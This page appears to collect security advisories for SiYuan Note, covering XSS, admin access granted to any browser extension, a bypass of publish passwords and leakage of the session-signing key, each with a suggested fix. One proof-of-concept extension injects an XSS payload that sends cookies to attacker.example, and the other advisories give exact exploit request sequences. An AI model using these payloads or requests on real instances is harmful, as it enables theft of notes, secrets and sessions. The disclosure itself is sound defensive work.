SiYuan through 3.7.3 contains a cross-site scripting vulnerability in the '((' block-reference autocomplete hint popup. In genHintItemHTML() (app/src/protyle/hint/extend.ts), a candidate block's name, alias, and memo fields are concatenated into the popup's HTML without escaping. An attacker who can set these metadata fields on a block can inject a self-firing payload (e.g. <img src=x onerror=...>) that executes automatically when a victim types '((' followed by a search term that surfaces the crafted block. Because SiYuan's Electron windows run with nodeIntegration enabled, contextIsolation disabled, and no CSP, the injected script gains require('childprocess') access, allowing the XSS to escalate to arbitrary OS command execution.

First published (updated )
Severity
9.3
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

SiYuan before v3.8.1 fails to properly escape block name, alias, and memo fields in hint, backlink, and breadcrumb rendering functions. Attackers can set a block's name to contain HTML/script tags that execute when another user views documents referencing or displaying that block.

First published (updated )
Severity
9.3
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

SiYuan before v3.8.1 contains a stored cross-site scripting vulnerability in confirmDialog() where unescaped package names and notebook names are interpolated directly into innerHTML assignments. Attackers can submit malicious bazaar packages with HTML/script payloads in the name field that execute in users' browsers when uninstalling packages or unlocking encrypted notebooks.

First published (updated )
Severity
9.2
XSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

go if strings.HasPrefix(origin, "chrome-extension://") { // skip auth }

At session.go:284, the request is assigned RoleAdministrator:

go c.Set("role", model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit hostpermissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

json { "manifestversion": 3, "name": "SiYuan PoC", "version": "1.0", "background": { "serviceworker": "bg.js" } }

javascript // bg.js -- runs as chrome-extension://<id> // No special hostpermissions needed; localhost is accessible by default

// 1. Verify admin access fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }).then(r => r.json()).then(data => { console.log('[PoC] Admin API access confirmed:', data.code === 0); });

// 2. Exfiltrate workspace data fetch('http://127.0.0.1:6806/api/query/sql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ stmt: 'SELECT FROM blocks LIMIT 100' }) }).then(r => r.json()).then(data => { console.log('[PoC] Exfiltrated blocks:', data.data?.length); });

// 3. Inject stored XSS payload into a note fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ notebook: '', path: '/' }) }).then(r => r.json()).then(tree => { const firstDoc = tree.data?.files?.[0]; if (!firstDoc) return;

fetch('http://127.0.0.1:6806/api/block/insertBlock', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dataType: 'markdown', data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">', parentID: firstDoc.id }) }); });

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

- Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel - Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/ - Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes - Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion - Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

diff --- a/kernel/model/session.go +++ b/kernel/model/session.go @@ -274,9 +274,6 @@ func CheckAuth(c gin.Context) { origin := c.GetHeader("Origin") - if strings.HasPrefix(origin, "chrome-extension://") { - // Allow chrome extension requests - } else if !isValidOrigin(origin) { c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"}) return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE: This vulnerability corresponds to CVE-2026-68584.

Summary

SiYuan's publish mode defines a "protected" access level: a document that is publicly listed but requires a password to read (per the product's own UI help text, protected = "Publicly visible, requires password to access"). The password is enforced on the primary content path (getDoc, via FilterContentByPublishAccess).

Several other content-returning endpoints getHeadingChildrenDOM, getHeadingDeleteTransaction/getHeadingLevelTransaction/ getHeadingInsertTransaction, and getBacklinkDoc/getBackmentionDoc return rendered block DOM with no password check at all. Combined with reader-reachable endpoints that leak a protected document's internal block IDs, an anonymous reader can retrieve the full body of a password-protected document without the password. This has been reproduced end-to-end on a live instance.

Details

The password control and where it is enforced. Publish access has five levels encoded in visible/password/disable: public, protected (password), hidden, private (password), forbidden. getDoc correctly enforces the password for protected/private documents via FilterContentByPublishAccess. The bug is that other content endpoints do not.

Content endpoints with no password check (all CheckAuth-only): - getHeadingChildrenDOM returns rendered DOM of a heading subtree. - getHeadingDeleteTransaction/getHeadingLevelTransaction/getHeadingInsertTransaction return rendered heading DOM in the computed transaction payload (no mutation occurs on this path). - getBacklinkDoc/getBackmentionDoc return rendered DOM of referencing blocks.

None of these invokes the publish-password check that getDoc applies. Each converts a block ID into full rendered content regardless of the containing document's protected/password status.

The ID-leak that removes the precondition. A protected document is, by design, publicly listed (listDocsByPath filters on visible, and protected documents are visible), so an anonymous reader obtains the document's root ID. The document's internal block/heading IDs are then obtainable from reader-reachable endpoints notably the searchEmbedBlock endpoint (reported separately), whose post-query filter FilterEmbedBlocksByPublishAccess replaces the content string but retains the block ID. So the "filtered" search still yields the protected document's internal heading IDs. (Other reader-reachable endpoints also leak block IDs, the vulnerability does not depend on any single ID source.)

The chain, reproduced on a live instance. Against a real protected document (password set), an anonymous reader on port 6808 with no token and no password:

1. getDoc(protectedDoc) → returns the password-required placeholder (correctly blocked). 2. searchEmbedBlock with a statement selecting heading blocks for the document's root ID → returns the heading IDs (content filtered, IDs retained). 3. getHeadingChildrenDOM(headingId) → returns the full rendered body of the protected document, including its protected content.

The password gate that step 1 enforces is entirely bypassed by step 3.

Proof of Concept

Reproduced on a local instance (SiYuan running locally, publish mode enabled on port 6808, publish Basic Auth disabled). Setup: a document marked "protected" with password, whose body contains the unique marker TOPSECRETCRITICAL123.

1. Confirm the password gate blocks the primary path (anonymous, port 6808): POST http://127.0.0.1:6808/api/filetree/getDoc {"id":"PROTECTEDDOC"} Returns the password-required placeholder correctly blocked.

2. Leak the protected document's heading ID (anonymous, port 6808): POST http://127.0.0.1:6808/api/search/searchEmbedBlock {"stmt":"SELECT FROM blocks WHERE rootid='PROTECTEDDOC' AND type='h'"} Returns heading blocks with their IDs; the content field is filtered but the block ID is retained.

3. Retrieve the protected content without the password (anonymous, port 6808): POST http://127.0.0.1:6808/api/block/getHeadingChildrenDOM {"id":"HEADINGID"} Returns HTTP 200 with the rendered body of the protected document, including TOPSECRETCRITICAL123 retrieved with no token and no password.

getHeadingDeleteTransaction/getHeadingLevelTransaction/getHeadingInsertTransaction and getBacklinkDoc/ getBackmentionDoc provide the same password-free content retrieval given a block ID from the protected document.

Impact

An anonymous reader (publish mode with auth disabled) or any publish RoleReader can read the full content of a password-protected published document without the password, defeating the "protected" access control the product documents as a password gate. The core defect is that these content-returning endpoints perform no publish-password check; the ID-leak endpoints (multiple sources) supply the block IDs that make the bypass reachable anonymously and untargeted. Impact is confidentiality-only (content disclosure); no modification occurs on these paths. Encrypted notebooks are out of scope.

Suggested fix

Apply the publish-password/publish-access check that getDoc uses (FilterContentByPublishAccess/IsReadOnlyRoleContext plus the password-cookie check) to every content-returning endpoint: getHeadingChildrenDOM, the three getHeadingTransaction handlers, and getBacklinkDoc/getBackmentionDoc. Separately, FilterEmbedBlocksByPublishAccess should omit filtered blocks entirely rather than blanking the content while retaining the ID, so that filtered results cannot be used to enumerate a protected document's internal block IDs. The durable fix is to enforce the publish boundary in the shared render/DOM path rather than per-handler, since any content endpoint that omits the check reintroduces this class.

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE: This vulnerability corresponds to CVE-2026-72793.

Summary

/api/system/getConf is registered with CheckAuth only and is reachable by the publish RoleReader token, and anonymously when Publish.Auth.Enable is false. Its non-administrator masking chain is a blocklist that enumerates fields individually. Three fields that the configuration-export endpoint in the same file deliberately clears are absent from that blocklist and are returned to readers:

| Field | JSON | What it is | Cleared by exportConf at | |---|---|---|---| | Conf.CookieKey | cookieKey | The session-cookie signing key | kernel/api/system.go:360 | | Conf.Export.PandocBin | export.pandocBin | Absolute path embedding the OS username | kernel/api/system.go:338 | | Conf.NotebookCrypto | notebookCrypto | Encrypted-notebook key material | kernel/api/system.go:360 |

The project has already classified all three as values that must not leave the server. The reader-facing path returns them.

Details

Route. kernel/api/router.go:70 : POST /api/system/getConf → model.CheckAuth → getConf. No CheckReadonly, no CheckAdminRole.

The masking chain, and what each stage covers. getConf masks through GetMaskedConf() → HideConfSecret() (non-administrators) → FilterConfByPublishIgnore() (readers) → a browser-request path strip.

- GetMaskedConf: UserData, MCPOAuth, AccessAuthCode. - HideConfSecret: AI, Api, Flashcard, ServerAddrs, Publish, Repo, Sync, Secrets, Variables, and the System paths. No reference to CookieKey or Export.PandocBin. - FilterConfByPublishIgnore: UILayout only. - Browser strip (kernel/api/system.go:630-631): System paths only.

Each stage names fields explicitly, so any field nobody thought to add is returned by default.

---

1. CookieKey: the live session-signing key.

The value is passed straight into the session store at startup:

cli/cmd/serve.go:67 go server.Serve(false, model.Conf.CookieKey) kernel/server/serve.go:152 sessionStore = cookie.NewStore([]byte(cookieKey)) kernel/server/serve.go:159 ginServer.Use(sessions.Sessions("siyuan", sessionStore))

gin-contrib/sessions/cookie.NewStore constructed with a single key uses that key as the gorilla/securecookie HMAC key. The siyuan session cookie is signed with the value this endpoint hands out, so an attacker holding it can mint and modify session cookies the server accepts as authentic.

Escalating a forged session to administrator additionally requires the forged SessionData to carry the matching AccessAuthCode which is masked or the instance to have no access-auth code configured, which is a common deployment. The unconditional impact, present on every instance, is disclosure of a persistent cryptographic secret to an unauthenticated party. Rotating it invalidates every active session, so it cannot be quietly refreshed.

---

2. Export.PandocBin: bypasses a shipped privacy control.

The field is an absolute path that embeds the OS username by construction:

conf/export.go:35 PandocBin string json:"pandocBin" model/conf.go:430-431 if "" == Conf.Export.PandocBin { Conf.Export.PandocBin = util.PandocBinPath } util/pandoc.go:154 PandocBinPath = filepath.Join(tempPandocDir, "bin", "pandoc.exe") util/pandoc.go:134 tempPandocDir = filepath.Join(TempDir, "pandoc") util/working.go:359 TempDir = filepath.Join(WorkspaceDir, "temp") util/working.go:312 defaultWorkspaceDir = filepath.Join(userProfile, "SiYuan")

→ C:\Users\<username>\SiYuan\temp\pandoc\bin\pandoc.exe

This one is notable beyond the disclosure itself, because a control was shipped specifically to prevent it. kernel/api/system.go:630 adds, for browser requests:

go if util.IsBrowserRequest(c) { maskedConf.System.WorkspaceDir = "" maskedConf.System.AppDir = "" maskedConf.System.ConfDir = "" maskedConf.System.DataDir = "" maskedConf.System.HomeDir = "" } // 避免泄露用户名等敏感信息

The comment states the goal plainly: avoid leaking the username and other sensitive information. The block enumerates only System. and misses Export.PandocBin, which carries the same username through the same response. A publish reader is a browser request, so the System paths are blanked while export.pandocBin passes through intact. Where an administrator has configured a custom pandoc location, that path is disclosed instead still a filesystem-layout disclosure.

---

3. NotebookCrypto. Encrypted-notebook key material is likewise absent from HideConfSecret while exportConf sets it to nil. Reported previously and included here only because it is the third instance of the same root cause; the fix below closes all three together.

---

The root cause is the blocklist itself. exportConf (kernel/api/system.go:299) clones the configuration and clears each secret before returning it CookieKey, NotebookCrypto, Export.PandocBin, Account, Stat, System.ID, the AI keys. That cloner is the project's own working inventory of what must not leave the server. getConf's non-administrator path maintains a separate, shorter list that has now diverged from it in three places. Any future secret added to the config will default to exposed on the reader path unless someone remembers to extend the blocklist.

Proof of Concept

Precondition: publish mode enabled (default port 6808); anonymous when Publish.Auth.Enable is false, otherwise any publish reader account.

POST http://127.0.0.1:6808/api/system/getConf {}

→ 200. The conf object contains: cookieKey — the session-signing key, cleartext export.pandocBin — absolute path containing the OS username notebookCrypto — encrypted-notebook key material

Differential check against the endpoint that strips them, same instance:

POST http://127.0.0.1:6808/api/system/exportConf

→ cookieKey is empty, export.pandocBin is empty, notebookCrypto is null

The same three values are withheld by one endpoint and returned by the other.

Impact

An anonymous reader in publish mode or any publish RoleReader obtains the server's session-cookie signing key, permitting forgery and tampering of session cookies the server validates as authentic, with administrator authentication reachable on instances that have no access-auth code configured. The same response discloses the operating-system username and workspace layout, defeating a control added specifically to prevent that disclosure, and encrypted-notebook key material.

Suggested fix

Route non-administrator getConf responses through the exportConf cloner rather than extending HideConfSecret field by field. The cloner already handles every field named here and is the list the project actually maintains; keeping two divergent inventories of the same secrets is what produced all three gaps. If a targeted patch is preferred in the interim, clear CookieKey and NotebookCrypto in HideConfSecret and add Export.PandocBin to the IsBrowserRequest block, then audit the config struct for any remaining absolute-path or secret-bearing field.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203